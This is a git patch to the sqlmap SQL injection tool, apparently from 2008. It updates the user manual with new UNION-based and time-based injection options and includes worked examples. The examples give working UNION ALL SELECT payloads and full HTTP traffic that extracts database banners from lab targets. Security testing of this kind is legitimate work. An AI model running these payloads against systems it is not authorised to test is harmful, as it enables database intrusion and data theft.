From 84cbc60659101a1aa247899030abb632c04b513a Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Date: Sat, 15 Nov 2008 12:25:19 +0000
Subject: [PATCH] Major bug fix to correctly handle httplib.BadStatusLine
exception. Minor improvement to set by default in all HTTP requests the
standard HTTP headers (Accept, Accept-Encoding, etc.) Updated user's manual.
---
doc/README.html | 359 ++++++++++++++++++++++-------------------
doc/README.pdf | Bin 289754 -> 292000 bytes
doc/README.sgml | 331 ++++++++++++++++++++-----------------
lib/core/option.py | 8 +
lib/request/connect.py | 14 ++
5 files changed, 399 insertions(+), 313 deletions(-)
diff --git a/doc/README.html b/doc/README.html
index 421e8d2ec..28197b9b9 100644
--- a/doc/README.html
+++ b/doc/README.html
@@ -38,12 +38,13 @@ for the latest version.
@@ -360,11 +361,22 @@ Options:
--auth-cred=ACRED HTTP Authentication credentials, value: name:password
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
+ --delay=DELAY Delay in seconds between each HTTP request
Injection:
--string=STRING String to match in page when the query is valid
--dbms=DBMS Force back-end DBMS to this value
+ Techniques:
+ These options can be used to test for specific SQL injection technique
+ or to use one of them to exploit the affected parameter(s) rather than
+ using the default blind SQL injection technique.
+
+ --time-test Test for Time based blind SQL injection
+ --union-test Test for UNION SELECT (inband) SQL injection
+ --union-use Use the UNION SELECT (inband) SQL injection to
+ retrieve the queries output. No need to go blind
+
Fingerprint:
-f, --fingerprint Perform an extensive database fingerprint
@@ -381,9 +393,9 @@ Options:
--privileges Enumerate DBMS users privileges (opt: -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt: -D)
- --columns Enumerate DBMS database table columns (req: -T, -D)
- --dump Dump DBMS database table entries (req: -T, -D opt: -C,
- --start, --stop)
+ --columns Enumerate DBMS database table columns (req:-T opt:-D)
+ --dump Dump DBMS database table entries (req: -T, opt: -D,
+ -C, --start, --stop)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
@@ -413,9 +425,6 @@ Options:
server document root for the moment)
Miscellaneous:
- --union-test Test for UNION SELECT (inband) SQL injection
- --union-use Use the UNION SELECT (inband) SQL injection to
- retrieve the queries output. No need to go blind
--eta Retrieve each query output length and calculate the
estimated time of arrival in real time
-v VERBOSE Verbosity level: 0-5 (default 0)
@@ -1031,9 +1040,23 @@ Connection: close
Note that the HTTP User-Agent header is tested against SQL
-injection even if you do not overwrite the default sqlmap HTTP
+injection also if you do not overwrite the default sqlmap HTTP
User-Agent header value.
+Some sites perform a server-side check on the HTTP User-Agent
+header value and fail the HTTP response if a valid User-Agent is
+not provided, its value is not expected or its value is blocked by a web
+application firewall or similar intrusion prevention system. In this case
+sqlmap will show you a message as follows:
+
+
+
+[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
+to force the HTTP User-Agent header with option --user-agent or -a
+
+
+
+
HTTP Basic and Digest authentications
@@ -1172,7 +1195,161 @@ seven HTTP requests, the maximum to retrieve a query output character.
request. The valid value is a float, for instance 0.5.
-5.2 Injection
+
+
+Test for Time Based Blind SQL injection
+
+
Option: --time-test
+
+TODO
+
+
+Test for UNION SELECT query SQL injection
+
+Option: --union-test
+
+It is possible to test if the target URL is affected by an inband
+SQL injection vulnerability.
+Refer to the Techniques section for details on this SQL injection
+technique.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+
+
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
+
+Use the UNION SELECT query SQL injection
+
+Option: --union-use
+
+Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT queries.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
+
+
+
String match
@@ -1369,7 +1546,7 @@ back-end database management system. If you do not know it, let sqlmap
automatically identify it for you.
-5.3 Fingerprint
+
Extensive database management system fingerprint
@@ -1584,7 +1761,7 @@ parsing library that fetches data from Chip Andrews'
SQLSecurity.com site and outputs it to the XML versions file.
-5.4 Enumeration
+
Banner
@@ -2664,7 +2841,7 @@ column names of the table then asks if the query can return multiple
entries and goes on.
-5.5 File system access
+
Read a specific file content
@@ -2708,7 +2885,7 @@ inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
-
Option: --union-test
-
-It is possible to test if the target URL is affected by an inband
-SQL injection vulnerability.
-Refer to the Techniques section for details on this SQL injection
-technique.
-
-Example on an Oracle XE 10.2.0.1 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
- --union-test -v 1
-
-[...]
-back-end DBMS: Oracle
-
-[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
-NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
-
-
-
-
-Example on a PostgreSQL 8.2.7 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
- --union-test -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
-NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
-
-
-
-
-As you can see, the target URL parameter id might be also
-affected by an inband SQL injection.
-In case this vulnerability is exploitable it is strongly recommended to
-use it.
-
-Use the UNION SELECT query SQL injection
-
-Option: --union-use
-
-Providing the --union-use parameter, sqlmap will first test if
-the target URL is affected by an inband SQL injection
-(--union-test) vulnerability then, in case it is vulnerable and
-exploitable, it will trigger this vulnerability to retrieve the output of
-the SELECT queries.
-
-Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
- --union-use --banner
-
-[...]
-back-end DBMS: Microsoft SQL Server 2000
-
-[hh:mm:42] [INFO] fetching banner
-[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
-CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
-CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
-[hh:mm:42] [INFO] performed 3 queries in 0 seconds
-banner:
----
-Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
- Aug 6 2000 00:57:48
- Copyright (c) 1988-2000 Microsoft Corporation
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
----
-
-
-
-
-As you can see, the vulnerable parameter (id) is affected by both
-blind SQL injection and exploitable inband SQL injection vulnerabilities.
-
-Example on a MySQL 5.0.51 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
- --union-use --banner
-
-[...]
-[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
-IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
-AND 6043=6043
-[hh:mm:25] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
-%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
-%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
-06043=6043&cat=2 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Mon, 28 Jul 2008 22:34:25 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Content-Length: 194
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
-</table>
-</body></html>
-
-[hh:mm:25] [INFO] performed 3 queries in 0 seconds
-banner: '5.0.51a-3ubuntu5.2'
-
-
-
-
-As you can see, the MySQL version() function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
-
-
Estimated time of arrival
Option: --eta
diff --git a/doc/README.pdf b/doc/README.pdf
index 78d54b3e6aa4ee736a10399245050ea1cd1a7e4b..4573c54780486a686f41ed92c90ffa96ae9bf8da 100644
GIT binary patch
delta 133107
zcma%ibzBwS*DjsX-G}bONe+jSl1@Pc1d(o#63IhIOAbhbfRZ95prDA-0s;~eA_z)%
zW8fY1`@8S^eeb=W&;4u9%wDr+@3q%C^E}U5GxL$|;Tm0CD=8q2&w!5wY^X%CM(Bx%
zf$yY@Y$guAeh^15ABc&IhXX{##@E3fqT=r2X%D2*vH<*Ks(?Q&638Lr0+h(8f!AcL
zzy>XX0EPxe2{?cv0&?&Y4ZREm2Jy0Wr4Z5bbak-vbMf*7tjUFe4w6d%6FDtVKu*D8
z?C0a+=>+kx@w0OlrEu`Hzp#hHFD65egd#*Cii-brRT{WSCPx6r{O^aPkW&*NV8Adq
z4QC2*;Ij+~utiQrfItDlCyk=!ANO9n}Qpdq!b0akpG$!3I>!?@Bz}7F1k?v?n0$gvH-v(Q9?8n
z4ZOa@0$5P;0LOnUrT=A#MgY$!`G8wg7p52>iHZeayTnC+zF4R*IIhgUtfgUq_a#2y
z4bjCTvH$Ku0q-w~0NKV#mG!zd1S3d>;F&BQn=>50j
zG134fHIe}HUyc{1p(c=l0e;j10D@K&h^L_i+-NC)S!yAmg7%NsX)*tLfQ$@)p%EpJ
z!Cov0xIs%xfJFd#G%7$8-5+y&8K9Pqg-XxG*UrJ+-Nw_w%ikB+r9;xoK>syU1Plh4
z(TM>;^kQJwzov